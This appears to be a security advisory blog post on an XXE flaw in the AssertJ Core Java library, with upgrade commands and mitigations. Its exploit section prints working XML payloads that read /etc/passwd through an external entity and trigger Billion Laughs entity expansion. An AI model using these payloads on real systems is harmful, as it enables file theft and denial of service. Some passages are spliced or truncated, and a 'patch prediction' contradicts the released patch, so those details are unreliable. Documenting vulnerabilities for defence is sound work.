Listen to this Post
The vulnerability, CVE-2026-24400, is an XML External Entity (XXE) injection flaw found in AssertJ Core, a popular Java library for writing fluent assertions in tests. The issue resides in the `XmlStringPrettyFormatter` utility class, specifically within its `toXmlDocument(String)` method. This method uses Java’s `DocumentBuilderFactory` to parse XML strings but fails to disable Document Type Definition (DTD) processing and external entity resolution. Because the factory is initialized with insecure default settings, when the `isXmlEqualTo(CharSequence)` assertion or the `xmlPrettyFormat(String)` utility method is called on untrusted XML data, the underlying parser processes any DTDs declared in the input. An attacker can craft a malicious XML payload that, when parsed, forces the application to disclose internal files via `file://` URIs, perform Server-Side Request Forgery (SSRF) against internal networks via http://` URIs, or consume excessive resources through entity expansion attacks like "Billion Laughs." The vulnerable methods are commonly used in test environments to compare XML outputs, but if an application ingests external data into these assertions, it becomes exposed. The issue affects all versions from 1.4.0 up to, but not including, 3.27.7. The fix in version 3.27.7 properly configures the `DocumentBuilderFactory` to disable DTDs and external entities, effectively neutralizing the attack vector. The `isXmlEqualTo` method has been deprecated in favor of safer alternatives like XMLUnit, and the internal `XmlStringPrettyFormatter` is slated for removal in version 4.0 .CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N
Platform: AssertJ Core
Version: 1.4.0 to 3.27.6
Vulnerability : XML External Entity
Severity: High
date: 01/26/2026
<h2 style="color: blue;">Prediction: Patch by 03/23/2026</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics</h2>
The vulnerability was discovered and reported by security researchers @wxt201 and @Song-Li. It was assigned CVE-2026-24400 and publicly disclosed on January 26, 2026 . The issue is classified under CWE-611 (Improper Restriction of XML External Entity Reference) . According to the NVD, the vulnerability has a CVSS v4.0 base score of 8.2, with a vector string of, indicating a high impact on confidentiality with low impact on availability . Red Hat rates it as 6.1 (Medium) under CVSS v3.1 . The official patch was released by the AssertJ team on January 23, 2026, with version 3.27.7 . Downstream distributions like SUSE have released security updates, while others like Ubuntu and Debian are still evaluating the impact .
<h2 style="color: blue;">Bash Commands & Code</h2>
The following commands can be used to check for the vulnerable version in a Maven project and update to the patched version.
Check if your project uses a vulnerable version of assertj-core
Run this in the root of your Maven project
mvn dependency:tree | grep assertj-core
Example output of a vulnerable version:
[bash] +- org.assertj:assertj-core:jar:3.22.0:test
To update to the patched version (3.27.7) using Maven, modify your pom.xml
or run the following command to override the version:
mvn versions:use-dep-version -Dincludes=org.assertj:assertj-core -DdepVersion=3.27.7 -DforceVersion=true
For Gradle projects, you can check the dependency version:
./gradlew dependencies --configuration testCompileClasspath | grep assertj-core
To update in build.gradle, change the dependency:
dependencies {
testImplementation 'org.assertj:assertj-core:3.27.7'
}
<h2 style="color: blue;">How Exploit</h2>
An attacker can exploit this vulnerability by providing a malicious XML string to an application that uses the `isXmlEqualTo` assertion. The following code snippets demonstrate the attack vectors.
// Example 1: Exploiting to read a local file (e.g., /etc/passwd)
String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE foo [\n" +
" <!ELEMENT foo ANY>\n" +
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]>\n" +
"<foo>&xxe;</foo>";
// If the application processes this untrusted XML, it will attempt to read the file.
assertThat(maliciousXml).isXmlEqualTo("<foo>file_contents_here</foo>");
// Example 2: Denial of Service via "Billion Laughs" attack
String billionLaughs = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE lolz [\n" +
" <!ENTITY lol \"lol\">\n" +
" <!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
" <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
" <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
"]>\n" +
"<lolz>&lol4;</lolz>";
// This will cause exponential entity expansion, consuming memory and CPU.
assertThat(billionLaughs).isXmlEqualTo("<lolz>lollollollollollollollollollol</lolz>");
<h2 style="color: blue;">Protection from this CVE</h2>
The primary protection is to upgrade to AssertJ Core version 3.27.7 or later .
<!-- Maven: Update to the patched version in your pom.xml --> <dependency> <groupId>org.assertj</groupId> <artifactId>assertj-core</artifactId> <version>3.27.7</version> <scope>test</scope> </dependency>
// Gradle: Update to the patched version in your build.gradle
dependencies {
testImplementation 'org.assertj:assertj-core:3.27.7'
}
If an immediate upgrade is not possible, the following workarounds are recommended in order of preference :
1. ReplaceisXmlEqualTo: Migrate any usage of `isXmlEqualTo(CharSequence)` to a dedicated XML testing library like XMLUnit, which provides secure parsing configurations by default./etc/passwd`, application configuration files containing credentials, or source code.
2. Avoid Untrusted Input: Refactor code to ensure that the `isXmlEqualTo` and `xmlPrettyFormat` methods are never called with XML data from untrusted sources (e.g., user input, external files, network responses).
<h2 style="color: blue;">Impact</h2>
Successful exploitation of this vulnerability allows an attacker with the ability to supply malicious XML to a vulnerable AssertJ method to achieve the following impacts :
Information Disclosure (High): Read arbitrary files from the local file system of the application or test runner. This includes sensitive files such as
Server-Side Request Forgery (SSRF): Make the vulnerable application send HTTP/HTTPS requests to internal systems that are not accessible from the external network. This can be used to probe internal networks, interact with internal services, or exploit further vulnerabilities.
Denial of Service (Low/Moderate): Trigger a “Billion Laughs” or other entity expansion attack, which can consume excessive CPU and memory, leading to application slowdowns or crashes. This is particularly impactful in continuous integration (CI) environments where tests are run frequently.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
